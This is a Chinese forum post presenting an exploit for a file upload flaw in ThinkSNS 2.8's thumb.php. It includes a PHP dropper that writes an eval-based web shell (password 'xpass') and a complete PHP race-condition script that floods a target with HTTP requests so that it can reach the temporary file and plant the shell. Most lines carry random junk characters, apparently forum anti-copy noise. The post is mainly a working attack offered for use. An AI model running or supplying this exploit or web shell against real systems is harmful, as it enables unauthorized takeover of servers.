找回密码
 立即注册
查看: 2665|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本" p! X, V' g+ C4 q( t7 j6 ~
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
- P2 \( m( i9 f" A( ~2 K  R1 e漏洞文件
1 u! @2 u# p2 j, S存在漏洞的文件为:thumb.php
& s: Y7 y0 Z  q. F5 k& [( O作者:韦鲲鹏
3 f6 P& j+ N" W& B1、        准备如下PHP文件并上传到服务器(自己的)。
& B! G4 O3 P8 E  D1 D# f0 L文件内容如下:  X1 m' [8 ]5 _$ _. e
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
7 K+ l, a; e  O2、        计算出临时的文件名:
9 L$ M8 Z4 b/ d2 F: e! A  D( |9 M这里我们可以看文件的99行(刚刚是不是没注意呀!)。
; e: D0 C. I% S; O- T' G. C7 V, {+ J: b) W9 R7 I+ Z
3、        上传临时文件。; ]1 g/ \2 `" x5 P- e
4、        访问临时文件。
% l" t/ y8 t0 X# o但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
: j" l% g8 p) ^, L6 NExploit文件内容如下:(这个我就不详细解释了)
/ Q9 B/ o# F) N1 s3 V<?php
" R0 x+ F! d  N* |. G* b/ Werror_reporting(0);' v0 g; g# l( d& i
set_time_limit(0);4 U2 |1 ]' \+ [* d
ini_set(“default_socket_timeout”, 5);. b" E7 c2 g3 S  ~3 N5 d
function http_send($host, $port, $headers) {
) E  t$ b: `: Q; `( y8 _2 |$fp = fsockopen($host, $port);
* v  w3 ~* C# ^8 bif (!$fp) die(‘Connection -> fail’);9 i# z) U  B7 J( o/ n" }9 C
fputs($fp, $headers);
/ ]  Z7 y/ M. B4 c) areturn $fp;
) W# C9 c' Q7 F; i# J}
7 U, i( q; H: ]9 |6 _! nfunction http_recv($fp) {6 j. |& l( X" F3 v0 n5 r, E
$ret=”";
+ I- k" Z2 U/ t' Iwhile (!feof($fp))& B4 u1 f; w5 p# p6 j- b6 j& r
$ret.= fgets($fp, 1024);
* f1 b# u# z- `/ w& e8 b  \" hfclose($fp);
+ j9 }( s8 x! M# e" Creturn $ret;
( D6 l4 Q- z7 m; Z: m}* @0 w3 M# C; h/ P( c# d
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
  e( ]" Z- `9 z9 e4 Y: T6 k& Gprint “# Discovered by 韦鲲鹏 #\n\n”;
. o. h2 Y0 ]* j$ A) Aif ($argc < 4) {) K' `& o3 S6 Z* l# z! o( t2 n
print “Usage:   php <host> <path> <romote_url>\n”;/ ~4 P" O. [! W) {3 M' T
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
* ?" a/ N. h, ]' o2 `8 ]/ _die();$ W- G8 u7 t) _. M, I; {/ N8 X6 k# X
}
7 G" S2 X; D5 p1 R: {6 ^$host = $argv[1];" Z" m! s; n+ y2 ^
$path = $argv[2];
$ g# f& M  V) N& \! G2 \7 X" f' b' T6 v$url = $argv[3];* b( I6 q4 f% d. y9 |& X: S/ e- e: x
$i=0;
) k# [. b! S3 \8 B6 V4 H//上传数据包. b. Q6 U2 |9 b/ U# X5 K- S$ h9 i  ^
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
2 V1 k; V. |) z% X# K1 k  N$headers_up .= “Host: “.$host.”\r\n”;) N2 T/ ~& Z) V3 t; [2 e
$headers_up .= “Connection: close\r\n\r\n”;- {( N  e& A2 H) {# O! ?8 \
echo $headers_up;
# q& x7 k3 Y" I0 V9 ~//临时文件访问数据包
& H6 [" c- f1 t' ?* D: Z9 u: O* N$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;$ k3 Q- m% \8 c: V1 G6 b9 b
$headers .= “Host: “.$host.”\r\n”;7 V3 A& K% s( `. N+ s( G% X$ P
$headers .= “Connection: close\r\n\r\n”;
: c5 D3 J* L4 ~6 Eecho $headers;& E* X4 x" V- @3 b% j2 i
while(++$i<10) {  P* ~1 M) H# I  a
fclose(http_send($host, 80, $headers));
; k. O) o# w. Z* W- h$ W: Q}1 E7 `6 I2 h2 Q$ g8 _; Q
fclose(http_send($host, 80, $headers_up));
0 M! m% J# X3 n2 w( G. zwhile(++$i<50) {
2 [; U; j* F, q" X6 p/ v( Vfclose(http_send($host, 80, $headers));- T0 u# n% K3 ^! F
}8 v. ]/ {; k# X! g" e
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
, H) W9 M2 }7 r$headers .= “Host: “.$host.”\r\n”;
, C0 z9 Z  N2 h$ s$headers .= “Connection: close\r\n\r\n”;# J* A8 j. k& y) |. Q/ M7 r% ^
$res=http_recv(http_send($host, 80, $headers));7 {' B  z- i  l# ^" o% R5 X7 b
if(preg_match(‘/200 OK/’,$res)) {
+ F( w1 T2 g" p: R' C" W/ wprint “Success!\n\n”;: {4 }& ^  Y! }& ]
} else {# L/ B6 w  e3 s1 Q4 R7 w
print “Fail!\n\n”;
) `8 F- S- s3 y+ ~6 W% Z! A}
3 ^$ l! C; P" D! f. S?>
! n; e+ d7 g2 Q9 K+ ^4 [; }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表